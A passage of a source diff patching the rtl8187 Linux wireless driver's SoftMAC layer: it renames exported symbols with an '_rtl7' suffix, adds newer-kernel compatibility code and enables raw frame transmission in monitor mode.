ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & 